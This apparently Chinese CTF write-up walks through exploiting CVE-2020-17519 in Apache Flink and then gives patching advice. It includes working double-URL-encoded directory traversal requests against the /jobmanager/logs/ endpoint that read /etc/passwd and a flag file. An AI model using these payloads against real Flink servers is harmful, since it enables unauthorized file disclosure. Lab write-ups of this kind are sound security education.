当前位置: 首页 > news >正文

CTF题目:Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析

CTF题目:Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析

漏洞背景

CVE-2020-17519是Apache Flink 1.11.0-1.11.2版本中的高危目录遍历漏洞。攻击者可通过构造恶意路径遍历读取服务器任意文件,本文将详细演示漏洞利用过程。


环境搭建

  • 靶机环境:Apache Flink Dashboard (1.11.0)
  • 测试工具:BurpSuite Community 2023
  • 漏洞入口Job Manager功能模块(日志文件接口)

截屏2025-06-14 11.01.34

漏洞复现步骤

1. 发现漏洞入口

访问Flink Dashboard的Job Manager功能,Burp捕获请求:

GET /jobmanager/logs/ HTTP/1.1
Host: d25db443-a7db-44ea-986a-f48afb33bc23-2700.cyberstrikelab.com:83

截屏2025-06-14 11.24.57

2. 构造路径遍历Payload

尝试直接读取/etc/passwd失败:

GET /jobmanager/logs/../../../../../../etc/passwd HTTP/1.1

截屏2025-06-14 11.14.04

绕过方案
使用双重URL编码绕过路径过滤:

  • ..%252f → 第一次解码:..%2f → 第二次解码:../
  • 12级跳转回到根目录:..%252f × 12

最终Payload

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
3. 成功读取系统文件

响应返回/etc/passwd内容:

root:x:0:0:root:/root:/bin/bash
flink:x:1000:1000::/opt/flink:/bin/sh  # 关键信息!

发现用户flink及其主目录/opt/flink,推测flag可能位于此路径。

截屏2025-06-14 11.26.10

深度利用:定位flag文件

策略思路
  1. 优先级1:用户目录常见位置
    • /opt/flink/flag
    • /opt/flink/flag.txt
  2. 优先级2:临时目录
    • /tmp/flag
    • /tmp/flag.txt
  3. 优先级3:配置文件与日志
    • /opt/flink/conf/flink-conf.yaml(分析无敏感信息)
    • /opt/flink/log/*.log
成功获取flag

在尝试读取/tmp/flag.txt时成功:

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fflag.txt HTTP/1.1

响应内容


截屏2025-06-13 21.53.33

备注:截图中的Host是第一次成功时候的截图,之前的截图是写博客复现重新开启的靶机。(因为靶机域名是随机生成)

漏洞原理分析

  1. 根本原因
    Flink未对jobmanager/logs接口的路径参数做规范化校验,导致..%252f被双重解码为../

  2. 绕过关键
    防御层通常过滤../但忽略双重编码场景,%252f的两次解码过程:

    服务器解码
    二次解码
    %252f
    %2f
    /

修复建议

  1. 升级到Flink ≥1.11.3 或 ≥1.12.0
  2. 在代码层添加路径规范化检查:
    Paths.get(userInput).normalize().toString()
    

总结

通过本次实战我们掌握:

  1. 目录遍历漏洞的双重编码绕过技巧
  2. 系统敏感文件定位思路(/etc/passwd → 用户目录 → 临时文件)
  3. CVE-2020-17519的完整利用链

漏洞修复补丁:FLINK-21436


该博客结构清晰覆盖漏洞复现全流程,既适合CTF初学者理解漏洞原理,也为安全研究人员提供深度利用思路。如需补充截图或调整技术细节,可随时告知。

http://www.xdnf.cn/news/1033651.html

相关文章:

  • 标准库转hal库
  • Kafka - 并发消费拉取数据过少故障分析
  • PyTorch张量操作中dim参数的核心原理与应用技巧:
  • 【机械视觉】Halcon—【十三、实例找各个区域面积和中心点】
  • 大模型成长过程-预训练tokenizer
  • 2.5 Rviz使用教程
  • 人工智能学习13-Numpy-规律数组生成
  • pytorch基本运算-梯度运算:requires_grad_(True)和backward()
  • 多个项目的信息流如何统一与整合
  • Spring AI Chat Tool Calling 指南
  • MySQL使用EXPLAIN命令查看SQL的执行计划
  • 13.20 LangChain多链协同架构实战:LanguageMentor实现67%对话连贯性提升
  • [每周一更]-(第144期):Go 定时任务的使用:从基础到进阶
  • mysql 创建大写字母的表名失败
  • HarmonyOS 组件复用 指南
  • React中使用Day.js指南
  • ABC410 : F - Balanced Rectangles
  • MIB 树的来源与实现深度解析
  • 计算机网络学习笔记:运输层概述UDP、TCP对比
  • Arduino入门教程​​​​​​​:4、打印字符到电脑
  • 疫菌QBD案例
  • Gartner《Build Scalable Data Products With This Step-by-Step Framework》学习报告
  • Linux系统安装MongoDB 8.0流程
  • 树莓派智能小车红外避障实验指导书
  • 当遇到“提交失败:404”的问题时,通常表明前端请求的URL无法正确匹配到后端的Servlet或资源。
  • 区间合并:区间合并问题
  • 前端与协议
  • 掌握应用分层:高内聚低耦合的艺术
  • 闲鱼与淘宝跨平台运营的自动化趋势
  • java 设计模式_行为型_17观察者模式